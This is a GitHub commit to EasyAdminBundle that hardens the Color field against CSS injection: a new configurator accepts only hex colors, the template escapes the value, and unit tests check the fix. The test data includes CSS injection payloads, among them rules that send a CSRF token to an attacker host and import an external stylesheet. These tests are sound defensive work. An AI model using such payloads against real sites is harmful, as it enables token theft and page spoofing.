Skip to content

Commit d1fb423

Browse files
javiereguiluzjaviereguiluz
committed
Improve the security of the Color field
1 parent 63e46c6 commit d1fb423

4 files changed

Lines changed: 117 additions & 6 deletions

File tree

‎config/services.php‎

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -38,6 +38,7 @@
3838
use EasyCorp\Bundle\EasyAdminBundle\Field\Configurator\BooleanConfigurator;
3939
use EasyCorp\Bundle\EasyAdminBundle\Field\Configurator\ChoiceConfigurator;
4040
use EasyCorp\Bundle\EasyAdminBundle\Field\Configurator\CollectionConfigurator;
41+
use EasyCorp\Bundle\EasyAdminBundle\Field\Configurator\ColorConfigurator;
4142
use EasyCorp\Bundle\EasyAdminBundle\Field\Configurator\CommonPostConfigurator;
4243
use EasyCorp\Bundle\EasyAdminBundle\Field\Configurator\CommonPreConfigurator;
4344
use EasyCorp\Bundle\EasyAdminBundle\Field\Configurator\CountryConfigurator;
@@ -443,6 +444,8 @@
443444

444445
->set(ChoiceConfigurator::class)
445446

447+
->set(ColorConfigurator::class)
448+
446449
->set(CollectionConfigurator::class)
447450
->arg(0, service('request_stack'))
448451
->arg(1, service(EntityFactory::class))

‎src/Field/Configurator/ColorConfigurator.php‎

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
<?php
2+
3+
namespace EasyCorp\Bundle\EasyAdminBundle\Field\Configurator;
4+
5+
use EasyCorp\Bundle\EasyAdminBundle\Context\AdminContext;
6+
use EasyCorp\Bundle\EasyAdminBundle\Contracts\Field\FieldConfiguratorInterface;
7+
use EasyCorp\Bundle\EasyAdminBundle\Dto\EntityDto;
8+
use EasyCorp\Bundle\EasyAdminBundle\Dto\FieldDto;
9+
use EasyCorp\Bundle\EasyAdminBundle\Field\ColorField;
10+
11+
/**
12+
* @author Javier Eguiluz <javier.eguiluz@gmail.com>
13+
*/
14+
final class ColorConfigurator implements FieldConfiguratorInterface
15+
{
16+
public function supports(FieldDto $field, EntityDto $entityDto): bool
17+
{
18+
return ColorField::class === $field->getFieldFqcn();
19+
}
20+
21+
public function configure(FieldDto $field, EntityDto $entityDto, AdminContext $context): void
22+
{
23+
// the value is rendered inside a CSS `style` attribute; only accept the
24+
// hex notation produced by `<input type="color">` (and its shorthand
25+
// variants) to prevent CSS injection via characters like `;`, `:`, `(`.
26+
$value = $field->getValue();
27+
if (null !== $value && (!\is_string($value) || 1 !== preg_match('/^#[0-9a-fA-F]{3,8}$/', $value))) {
28+
$field->setValue(null);
29+
$field->setFormattedValue(null);
30+
}
31+
}
32+
}

‎templates/crud/field/color.html.twig‎

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,9 @@
22
{# @var field \EasyCorp\Bundle\EasyAdminBundle\Dto\FieldDto #}
33
{# @var entity \EasyCorp\Bundle\EasyAdminBundle\Dto\EntityDto #}
44
{% if field.customOptions.get('showSample') %}
5-
<span class="color-sample" style="background: {{ field.value }}; {{ field.customOptions.get('showValue') ? 'margin-right: 5px;' }}" title="{{ field.formattedValue }}">&nbsp;</span>
5+
{# ColorConfigurator sanitizes values before storing them, but for values stored before we
6+
introduced this feature, we need to escape the field value to break CSS-declaration injection #}
7+
<span class="color-sample" style="background: {{ field.value|e('html_attr') }}; {{ field.customOptions.get('showValue') ? 'margin-right: 5px;' }}" title="{{ field.formattedValue }}">&nbsp;</span>
68
{% endif %}
79
{% if field.customOptions.get('showValue') %}
810
{{ field.formattedValue }}

‎tests/Unit/Field/ColorFieldTest.php‎

Lines changed: 79 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@
77
use EasyCorp\Bundle\EasyAdminBundle\Dto\EntityDto;
88
use EasyCorp\Bundle\EasyAdminBundle\Dto\FieldDto;
99
use EasyCorp\Bundle\EasyAdminBundle\Field\ColorField;
10+
use EasyCorp\Bundle\EasyAdminBundle\Field\Configurator\ColorConfigurator;
1011
use Symfony\Component\Form\Extension\Core\Type\ColorType;
1112

1213
class ColorFieldTest extends AbstractFieldTest
@@ -15,19 +16,26 @@ protected function setUp(): void
1516
{
1617
parent::setUp();
1718

18-
// colorField has no dedicated configurator, but we need to set formattedValue like CommonPreConfigurator does
19-
$this->configurator = new class implements FieldConfiguratorInterface {
19+
// wraps ColorConfigurator with the formattedValue propagation that
20+
// CommonPreConfigurator performs in the real configurator chain.
21+
$colorConfigurator = new ColorConfigurator();
22+
$this->configurator = new class($colorConfigurator) implements FieldConfiguratorInterface {
23+
public function __construct(private readonly ColorConfigurator $inner)
24+
{
25+
}
26+
2027
public function supports(FieldDto $field, EntityDto $entityDto): bool
2128
{
2229
return ColorField::class === $field->getFieldFqcn();
2330
}
2431

2532
public function configure(FieldDto $field, EntityDto $entityDto, AdminContext $context): void
2633
{
27-
// set formattedValue to value (like CommonPreConfigurator does for most fields)
2834
if (null === $field->getFormattedValue()) {
2935
$field->setFormattedValue($field->getValue());
3036
}
37+
38+
$this->inner->configure($field, $entityDto, $context);
3139
}
3240
};
3341
}
@@ -120,7 +128,8 @@ public function testTemplateShowsSampleWhenEnabled(): void
120128
$html = $this->renderFieldTemplate($fieldDto, $this->entityDto, $this->adminContext);
121129

122130
self::assertStringContainsString('class="color-sample"', $html);
123-
self::assertStringContainsString('style="background: #ff5733', $html);
131+
// the `#` is HTML-entity-encoded by |e('html_attr'); browsers decode it back in the style attribute
132+
self::assertStringContainsString('style="background: &#x23;ff5733', $html);
124133
// the color value should only appear in attributes, not as text content after the span
125134
self::assertDoesNotMatchRegularExpression('/<\/span>\s*#ff5733/', $html);
126135
}
@@ -165,11 +174,76 @@ public function testTemplateShowsBothSampleAndValue(): void
165174
$html = $this->renderFieldTemplate($fieldDto, $this->entityDto, $this->adminContext);
166175

167176
self::assertStringContainsString('class="color-sample"', $html);
168-
self::assertStringContainsString('background: #0000ff', $html);
177+
// the `#` is HTML-entity-encoded by |e('html_attr'); browsers decode it back in the style attribute
178+
self::assertStringContainsString('background: &#x23;0000ff', $html);
169179
// the value should appear as text content after the sample span
170180
self::assertMatchesRegularExpression('/<\/span>\s*#0000ff\s*$/', $html);
171181
}
172182

183+
/**
184+
* @dataProvider provideInvalidColorValues
185+
*/
186+
public function testMaliciousValueIsNulled(string $malicious): void
187+
{
188+
$field = ColorField::new('color');
189+
$field->setValue($malicious);
190+
$fieldDto = $this->configure($field);
191+
192+
self::assertNull($fieldDto->getValue());
193+
self::assertNull($fieldDto->getFormattedValue());
194+
}
195+
196+
public static function provideInvalidColorValues(): iterable
197+
{
198+
yield 'CSS injection via declaration break' => ['red; background-image: url(//attacker/log?c='];
199+
yield 'full-screen overlay payload' => ['red; position: fixed; top: 0; left: 0; width: 100vw; height: 100vh; z-index: 9999'];
200+
yield 'attribute selector exfiltration' => ['red; } input[name="_csrf_token"][value^="a"] ~ .color-sample { background: url(//evil/a); } .x {'];
201+
yield 'external stylesheet import' => ['@import url("//evil/sheet.css")'];
202+
yield 'css color name' => ['red'];
203+
yield 'rgb function' => ['rgb(255, 0, 0)'];
204+
yield 'rgba function' => ['rgba(255, 0, 0, 0.5)'];
205+
yield 'hsl function' => ['hsl(0, 100%, 50%)'];
206+
yield 'missing hash prefix' => ['ff5733'];
207+
yield 'hex with trailing garbage' => ['#ff5733;'];
208+
yield 'hex with whitespace' => ['#ff5733 '];
209+
}
210+
211+
/**
212+
* @dataProvider provideValidColorValues
213+
*/
214+
public function testValidHexValueIsPreserved(string $valid): void
215+
{
216+
$field = ColorField::new('color');
217+
$field->setValue($valid);
218+
$fieldDto = $this->configure($field);
219+
220+
self::assertSame($valid, $fieldDto->getValue());
221+
}
222+
223+
public static function provideValidColorValues(): iterable
224+
{
225+
yield 'short hex' => ['#fff'];
226+
yield 'short hex uppercase' => ['#F0A'];
227+
yield 'standard rrggbb' => ['#ff5733'];
228+
yield 'standard rrggbb uppercase' => ['#FF5733'];
229+
yield 'rrggbbaa with alpha' => ['#ff5733cc'];
230+
}
231+
232+
public function testTemplateEscapesValueInStyleAttribute(): void
233+
{
234+
// Simulate a bypass of the configurator (e.g. a subclass overriding it):
235+
// the template-side |e('html_attr') filter must still break CSS injection.
236+
$field = ColorField::new('color');
237+
$field->showSample();
238+
$fieldDto = $this->configure($field);
239+
$fieldDto->setValue('red; background-image: url(//evil)');
240+
241+
$html = $this->renderFieldTemplate($fieldDto, $this->entityDto, $this->adminContext);
242+
243+
self::assertStringNotContainsString('; background-image: url(//evil)', $html);
244+
self::assertStringNotContainsString('url(//evil)', $html);
245+
}
246+
173247
public function testTemplateShowsNothingWhenBothDisabled(): void
174248
{
175249
$field = ColorField::new('color');

0 commit comments

Comments
 (0)